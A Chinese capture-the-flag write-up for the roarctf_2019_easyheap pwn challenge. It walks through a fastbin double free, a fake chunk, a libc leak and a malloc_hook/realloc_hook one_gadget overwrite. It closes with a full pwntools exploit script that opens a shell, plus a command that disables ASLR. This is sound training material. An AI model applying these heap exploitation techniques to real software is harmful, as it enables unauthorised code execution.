百航鹿大联训 roarctf_2019_easyheap

news/2025/11/27 2:59:45/文章来源:https://www.cnblogs.com/Fan-sheng/p/19275097

我现在心如死灰,面如平湖,胸有惊雷。
这里面水太深,你把握不住。😅
checksec是NO PIE的。


来看代码。同样改了改函数名。

__int64 __fastcall main(int a1, char **a2, char **a3)
{int v3; // eaxint v4; // ebxint v6; // [rsp+4h] [rbp-14h] BYREFunsigned __int64 v7; // [rsp+8h] [rbp-10h]v7 = __readfsqword(0x28u);v6 = 0;setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);v3 = open("/dev/random", 0);if ( v3 == -1 ){puts("open file error!");exit(0);}v4 = v3;if ( (int)read(v3, &qword_602090, 8uLL) < 0|| (close(v4),sub_400CA0(),_printf_chk(1LL, (__int64)"please input your username:"),(int)read(0, &unk_602060, 0x20uLL) < 0)|| (_printf_chk(1LL, (__int64)"please input your info:"), (int)read(0, &unk_6020A0, 0x20uLL) < 0) ){puts("read error");exit(0);}while ( 1 ){while ( 1 ){while ( 1 ){while ( 1 ){menu();if ( (int)_isoc99_scanf("%d", &v6) < 0 ){puts("scanf error");exit(0);}if ( v6 != 1 )break;add();}if ( v6 != 2 )break;free(buf);                              // UAF&double free}if ( v6 != 3 )break;if ( qword_602090 == 0xDEADBEEFDEADBEEFLL )show();}if ( v6 == 4 )break;if ( v6 == 666 )wtf();}return 0LL;
}

主函数,一上来会让你输个用户名和信息,不知道何意味。
很容易看出free那一步有UAF和double free可以利用。show可以泄漏信息,但是有个qword_602090 == 0xDEADBEEFDEADBEEFLL的要求。由于NO PIE,就是要改地址0x602090
输666还有个后门函数。

unsigned __int64 add()
{int v0; // eaxsize_t v1; // rbxchar v3[8]; // [rsp+0h] [rbp-18h] BYREFunsigned __int64 v4; // [rsp+8h] [rbp-10h]v4 = __readfsqword(0x28u);if ( qword_602018 ){puts("input the size");if ( (int)read(0, v3, 8uLL) < 0 )goto LABEL_8;v0 = strtol(v3, 0LL, 10);if ( v0 > 128 ){puts("invaild size");exit(0);}v1 = v0;buf = (char *)malloc(v0);puts("please input your content");if ( (int)read(0, buf, v1) < 0 ){
LABEL_8:puts("read error");exit(0);}--qword_602018;}else{puts("chunk filled!\n");puts("everything has a price");}return __readfsqword(0x28u) ^ v4;
}

虽然限制了堆的大小,但是128刚好是0x80,可以进unsorted bin。
这里只能一个堆反复用,不像别的题一样是数组,限制还是比较大的。

int sub_400C40()
{puts(buf);puts("everything has a price");close(1);return close(2);
}

泄漏。这里有两个混乱邪恶的命令close(1)close(2),关掉了stdout和stderr,只保留stdin。也就是说泄漏信息之后你可以正常输入,但是终端没法接收到任何输出。极度影响调试。

unsigned __int64 wtf()
{int v0; // eaxchar v2[8]; // [rsp+0h] [rbp-18h] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-10h]v3 = __readfsqword(0x28u);if ( !qword_602010 ){puts("everything has a price");             // 负数?goto LABEL_7;}puts("build or free?");if ( (int)read(0, v2, 8uLL) < 0 ){
LABEL_10:puts("read error");exit(0);}v0 = strtol(v2, 0LL, 10);if ( v0 == 1 ){ptr = calloc(0xA0uLL, 1uLL);puts("please input your content");if ( (int)read(0, ptr, 0xA0uLL) >= 0 )goto LABEL_7;goto LABEL_10;}if ( v0 == 2 )free(ptr);elseputs("invaild choice");
LABEL_7:--qword_602010;return __readfsqword(0x28u) ^ v3;
}

后门可以开和删另一个堆,不过强制大小为0xa0。所以我们只能自由支配两个堆,这个大堆必须利用好。
另外这玩意儿有个招笑计数器,到 0 之后还会减一变成负数,之后就无限用了。令人汗颜。


泄漏只需要free一个0x80的chunk进unsorted bin。然而在此之前得想办法修改那个qword_602090
大方向确定为利用fastbin double free。我们知道,fast bin是一种非常脆弱的结构,检查double free只会检查头节点。
也就是说对于fastbin->x->y这种东西,我们可以再次free y,然后y会指向头节点,形成fastbin->y->x->y,这样我们能两次取得y这个chunk了。把y的fd改成0x602090-0x10,制造fake chunk来任意写。
实现起来有点难度,咱就两个堆,堆A可以自由申请,但堆B必定是0xa0进不了fast bin,怎么办呢。
把这个0xa0释放之后,申请一个0x60的堆A就行了,会直接从那个0xa0(或者Top chunk,如果合并了的话)分裂,此时A和B都指向同一地址,堆B就可以控制fast bin chunk了。
对于fake chunk,要求满足fast bin的size检查。发现0x602090的上游恰好是用户名,一开始输入一个fake chunk header就好。
注释里是血与泪的教训……

def init():io.sendlineafter("please input your username:",p64(0)+p64(0x71))'''prev_size=0,size=0x71这里不要用sendlineafter!不要用sendlineafter!不要用sendlineafter!否则字符串末尾会自动添加一个'\n'(0xa),这会被视作fake chunk的fd取走fake chunk时,fast bin里会留下一个地址为0xa的神秘chunk,并在后续导致不明段错误别问我怎么知道的,不信可以自己试试'''io.sendlineafter("please input your info:","wtfisthis")#随便输
def add(size,content):io.sendlineafter(">> ",str(1))io.sendlineafter("input the size",str(size))io.sendlineafter("please input your content",content)
def delete():io.sendlineafter(">> ",str(2))
def show():io.sendlineafter(">> ",str(3))
def wtf():io.sendlineafter(">> ",str(666))
def wtf1(content):wtf()io.sendlineafter("build or free?",str(1))io.sendlineafter("please input your content",content)
def wtf2():wtf()io.sendlineafter("build or free?",str(2))
init()#构造fake header
wtf1("aaaa")
wtf2()
add(0x60,"aaaa")#分裂,此时两个堆地址相同,都是0x60的chunk
add(0x60,"bbbb")
wtf2()#fastbin->x
delete()#fastbin->x->y
wtf()#这里后门计数器变0了,需要额外问一次(大病一般的)
wtf2()#fastbin->x->y->x(double free)
add(0x60,p64(0x602060))#fastbin->y->x->fake
add(0x60,"bbbb")#fastbin->x->fake
add(0x60,"aaaa")#fastbin->fake
add(0x60,p8(0)*0x20+p64(0xDEADBEEFDEADBEEF))#对fake chunk任意写,然后就可以show了
add(0x80,"unsorted")
wtf1("Fan_shengHandsome")#给刚开的unsorted bin chunk垫背,防止与Top chunk合并
delete()
show()
libc_addr=u64(io.recvline().strip()[:8].ljust(8,b'\0'))-0x3c3b78

攻击也是如法炮制double free。但是黑心出题人关了输出,我们得把所有recvuntil换成sleep(0.5)
这里one_dadget只能用0xf0897那个,而且要先利用realloc调整堆栈。因为one_dadget对栈布局有很严格的要求,必须满足一定限制条件才能用,否则就exit code 127。
realloc开头有很多栈调整命令:

realloc:push   r15push   r14push   r13push   r12push   rbppush   rbxsub    rsp, 0x18...

我们可以把__malloc_hook改为realloc+offset,并把__realloc_hook(刚好在__malloc_hook上游8字节)改为one_dadget。
这样,执行malloc时会先跳到realloc+offset,执行那里的栈调整命令,让栈布局合适;接着往下走,执行realloc_hook,触发one_dadget。
什么?offset是多少?我怎么知道栈布局有没有可能合适,什么时候合适?别问鼠鼠,鼠鼠也不知道,暴力测试或者偷看答案可得 offset=0x14
然后要解决那个很坑的close(1),不然拿到shell也看不到结果。网上很多人说的exec 1>&0亲测没用,0(stdin)是只读的不能改,执行之后lscat之类的全都用不了了。
使用exec 1>/dev/tty可以把标准输出重定向到终端。浪费我好久时间,我要哭了。

def exadd(size,content):sleep(0.5)io.sendline(str(1))sleep(0.5)io.sendline(str(size))sleep(0.5)io.sendline(content)
def exdelete():sleep(0.5)io.sendline(str(2))
def exwtf():sleep(0.5)io.sendline(str(666))
def exwtf1(content):exwtf()sleep(0.5)io.sendline(str(1))sleep(0.5)io.sendline(content)
def exwtf2():exwtf()sleep(0.5)io.sendline(str(2))
exadd(0x80,"Fan_shengHandsome")#取走之前碍事的垫背石,否则后续会产生small bin这些奇怪东西影响结果
exwtf1("aaaa")#重复一遍之前的过程
exwtf2()
exadd(0x60,"aaaa")
exadd(0x60,"bbbb")
exwtf2()
exdelete()
exwtf2()
exadd(0x60,p64(libc_addr+0x3c3aed))#这个偏移参见上一篇babyheap的博客
exadd(0x60,"bbbb")
exadd(0x60,"aaaa")
exadd(0x60,b'\0'*(0x13-8)+p64(libc_addr+0xf0897)+p64(libc_addr+0x83c40+0x14))
'''
__realloc_hook刚好在__malloc_hook上游8字节,直接一起改了
经测试只能使用+0xf0897这个one_dadget和+0x14的realloc偏移
'''
exwtf1("exec 1>/dev/tty")#恢复输出到终端
io.interactive()

另外说一句,非常不建议关着输出进行调试。
可以使用sysctl -w kernel.randomize_va_space=0命令临时关闭ASLR随机化,libc基址就固定了。重启后会恢复。
0表示关闭,1表示半开启,2表示全开。


完整代码

from pwn import *
context.log_level="debug"
io=process("./roarctf_2019_easyheap")
libc=ELF("/home/fslinux/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
def init():io.sendlineafter("please input your username:",p64(0)+p64(0x71))io.sendlineafter("please input your info:","wtfisthis")#随便输
def add(size,content):io.sendlineafter(">> ",str(1))io.sendlineafter("input the size",str(size))io.sendlineafter("please input your content",content)
def delete():io.sendlineafter(">> ",str(2))
def show():io.sendlineafter(">> ",str(3))
def wtf():io.sendlineafter(">> ",str(666))
def wtf1(content):wtf()io.sendlineafter("build or free?",str(1))io.sendlineafter("please input your content",content)
def wtf2():wtf()io.sendlineafter("build or free?",str(2))
def exadd(size,content):sleep(0.5)io.sendline(str(1))sleep(0.5)io.sendline(str(size))sleep(0.5)io.sendline(content)
def exdelete():sleep(0.5)io.sendline(str(2))
def exwtf():sleep(0.5)io.sendline(str(666))
def exwtf1(content):exwtf()sleep(0.5)io.sendline(str(1))sleep(0.5)io.sendline(content)
def exwtf2():exwtf()sleep(0.5)io.sendline(str(2))
init()
wtf1("aaaa")
wtf2()
add(0x60,"aaaa")
add(0x60,"bbbb")
wtf2()
delete()
wtf()
wtf2()
add(0x60,p64(0x602060))
add(0x60,"bbbb")
add(0x60,"aaaa")
add(0x60,p8(0)*0x20+p64(0xDEADBEEFDEADBEEF))
add(0x80,"unsorted")
wtf1("Fan_shengHandsome")
delete()
show()
libc_addr=u64(io.recvline().strip()[:8].ljust(8,b'\0'))-0x3c3b78
exadd(0x80,"Fan_shengHandsome")
exwtf1("aaaa")
exwtf2()
exadd(0x60,"aaaa")
exadd(0x60,"bbbb")
exwtf2()
exdelete()
exwtf2()
exadd(0x60,p64(libc_addr+0x3c3aed))
exadd(0x60,"bbbb")
exadd(0x60,"aaaa")
exadd(0x60,b'\0'*(0x13-8)+p64(libc_addr+0xf0897)+p64(libc_addr+0x83c40+0x14))
exwtf1("exec 1>/dev/tty")
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/977801.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图片云存储-七牛云

图片云存储-七牛云一、介绍 在实际开发中,我们会有很多处理不同功能的服务器。例如:应用服务器:负责部署我们的应用数据库服务器:运行我们的数据库文件服务器:负责存储用户上传文件的服务器  分服务器处理的目的…

彻底搞懂 Raft 算法:为“被理解”而生的分布式共识

彻底搞懂 Raft 算法:为“被理解”而生的分布式共识彻底搞懂 Raft 算法:为“被理解”而生的分布式共识 在分布式系统的世界里,共识(Consensus)是一个核心难题:如何让一堆机器对某个值(比如数据记录)达成一致? …

龙哥量化:初版简单的通达信公式回测案例_macd趋势策略收益曲线,展示在通达信的主副图(展示部分代码)

3、函数buy,sell不能指定手数,只能在界面设置。 4、不识别第二个参数价格,所以, 你用上图中的10个价格之外的价格,在回测系统不起作用,比如实时突破压力线,代码中用压力线的价格成交,BUY(突破, 压力线),实际…

代码随想录算法训练营第三章 哈希表part02

代码随想录算法训练营第三章 哈希表part02第454题.四数相加II leetcode链接:https://leetcode.cn/problems/4sum-ii/description/ 题目描述:给定四个包含整数的数组列表 A , B , C , D ,计算有多少个元组 (i, j, k, …

AI:情绪冲动和阴性症状有什么关系

情感症状 和情绪冲动和阴性症状有什么关系 这个问题非常深刻,触及了精神病理学的核心。情感症状、情绪冲动与阴性症状的关系,与它们和阳性症状的关系完全不同,甚至可以说是相反的。 简单来说:阳性症状是正常功能的…

龙哥量化:简单的通达信公式回测案例_macd趋势策略收益曲线,展示在通达信的主副图(展示部分代码)

3、函数buy,sell不能指定手数,只能在界面设置。 4、不识别第二个参数价格,所以, 你用上图中的10个价格之外的价格,在回测系统不起作用,比如实时突破压力线,代码中用压力线的价格成交,BUY(突破, 压力线),实际…

光缆地图网站

光缆地图网站几个全球公认最权威、最好用的光缆地图网站,各有特色: 1. 行业标准级:TeleGeography Submarine Cable Map 这是全球电信行业最权威的数据来源,也是 UI 做得最好看的。网址:https://www.submarinecabl…

AE表达式

--本篇导航--如何使用表达式(打开删除,查看图形,错误)表达式的数组、赋值输入表达式、优先级一些常用的表达式(value,time,index,wiggle,random,loopOut,Math,if…else)表达式控制一些现成的表达式(可以…

2025 Xhorse XDTPM1EN Universal Programmable TPMS Sensor: Supports 315/433MHz Key Tool Max Pro/MIDI

The 2025 Xhorse XDTPM1EN TPMS Sensor: Solving Your Tire Pressure Monitoring Challenges Problem Identification: The Frustrations of Traditional TPMS Sensors For European and American automotive professi…

2025年金蝶ERP服务商实施能力强、服务好——上海宝蝶深耕金蝶ERP管理系统、金蝶财务软件

随着企业数字化转型的加速,选择一款优秀的ERP系统是第一步,而找到一个具备超强实施能力的服务商,才是项目成功的关键。金蝶ERP作为市场主流选择,其代理商数量众多,但实施交付的专业度、成功率和行业适配性却天差地…

【论文阅读】DeltaLag: Learning Dynamic Lead-Lag Patterns in Financial Markets

【论文阅读】DeltaLag: Learning Dynamic Lead-Lag Patterns in Financial Markets在小红书上刷到的,之前没见过 lead-lag effect。这里算是头一次学习。 lead-lag effect 讲了一个简单的故事,例如 yubai 说一般 btc…

Xhorse XDTPM1EN Universal Programmable TPMS Sensor 4pcs/lot – 315/433MHz for Key Tool Max Pro/MIDI

The TPMS Challenge: Safety, Reliability, and Compliance at Stake In the world of automotive maintenance, tire pressure monitoring systems (TPMS) are non-negotiable for safety, legal compliance, and veh…

AI元人文:从价值对齐到价值共生的范式革命,及其在社会治理中的实践验证

AI元人文:从价值对齐到价值共生的范式革命,及其在社会治理中的实践验证 摘要: 本文旨在阐述“AI元人文”这一理论体系如何完成从哲学构想(“描述的哲学”)到实践方法论(“生成的语法”)的关键跃迁。我们通过一个…

深入解剖 Redis 分布式锁:从 SETNX 到 Redlock 的演进之路

深入解剖 Redis 分布式锁:从 SETNX 到 Redlock 的演进之路深入解剖 Redis 分布式锁:从 SETNX 到 Redlock 的演进之路摘要:在微服务与分布式架构中,“如何防止资源被并发抢占”是一个永恒的话题。从秒杀扣库存到定时…

闲话 25.11.26

那些你不要的:一道码力为主,没啥数学的 poly 题题解闲话 ZJUPH 恶心死我了。puzzle hunt 不好玩 😭 [数据删除] 敬请期待赛后 write-up。能完赛吗? 怎么快一个月没写鲜花了 /jk 正好投了一个题,写一下鲜花,顺便…

oop-实验4 - fg

task1 GradeCalc.hpp1 #pragma once2 3 #include<vector>4 #include<array>5 #include<string>6 7 class GradeCalc{8 public:9 GradeCalc(const std::string &cname); 10 void input(i…

揭开 Kafka 水位线的秘密:深度解析 LEO 与 HW 的同步机制

揭开 Kafka 水位线的秘密:深度解析 LEO 与 HW 的同步机制揭开 Kafka 水位线的秘密:深度解析 LEO 与 HW 的同步机制摘要:在分布式存储中,数据复制是保证高可用的核心。但你是否想过:Follower 是怎么把数据从 Leade…

INFINI Labs 产品更新 - Coco AI v0.9 与 Easysearch v2.0 全新功能上线,全面支持 GitLab 合并请求(MR)自动 AI Review

此次更新主要包括:Coco AI v0.9 全面支持 GitLab 合并请求(MR)自动 AI Review,并重构为插件流水线架构,新增 Neo4j、MongoDB 等 10+ 数据源连接器,开启“AI+开发”协同新范式;Easysearch v2.0 正式发布,内置轻…

newDay23

1.今天好好把javaweb弄了一遍,终于是实现了所有要求的功能,然后就是团员的事也弄了半天 2.明天再熟悉熟悉javaweb,争取快速过关 3.今天没啥问题

【C语言】条件编译时谨慎使用枚举值

简短不看版: 关键原则预处理器只认识 #define 宏在需要计算的地方(#if, #elif):所有标识符必须有数值未定义的标识符被当作0 枚举类型在编译阶段才被处理在条件编译 (#if, #elif) 中必须使用宏定义,不能使用枚举值…